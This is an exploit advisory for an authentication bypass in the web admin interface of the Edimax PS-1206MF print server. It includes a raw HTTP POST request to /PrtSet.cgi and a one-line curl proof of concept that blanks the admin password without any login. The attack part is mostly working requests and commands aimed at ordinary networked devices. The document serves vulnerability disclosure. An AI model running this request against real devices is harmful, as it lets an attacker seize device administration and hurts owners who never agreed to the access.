Edimax PS-1206MF Authentication Bypass
Posted on 01 September 2015
# Title: Edimax PS-1206MF - Web Admin Auth Bypass # Date: 30.08.15 # Vendor: edimax.com # Firmware version: 4.8.25 # Author: Smash_ # Contact: smash [at] devilteam.pl HTTP authorization is not being properly verified while sendind POST requests to .cgi, remote attacker is able to change specific settings or even reset admin password. By default, it is necessary to know current password in order to change it, but when request will be missing POST anewpass & confpass parameters, admin password will be set to null. devil@hell:~$ curl -gi http://192.168.0.10/ HTTP/1.1 401 Date: Sat, 21 Dec 1996 12:00:00 GMT WWW-Authenticate: Basic realm="Default password:1234" 401 Unauthorized - User authentication is required. Request: POST /PrtSet.cgi HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10/pssystem.htm Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 103 BoxName=MFD55329&anewpass=1234&confpass=1234&PSPORTNAME1=&PSPORTNAME2=&PSPORTNAME3=&save.x=47&save.y=11 Response: HTTP/1.1 200 OK Date: Sat, 21 Dec 1996 12:00:00 GMT Content-type: text/html <html><head><title>Advance Settings</title><link rel="stylesheet" href="set.css"></head> (...) Following curl request will set admin account with empty password. PoC: devil@hell:~$ curl -XPOST --data "" -s http://192.168.0.10/PrtSet.cgi > /dev/null
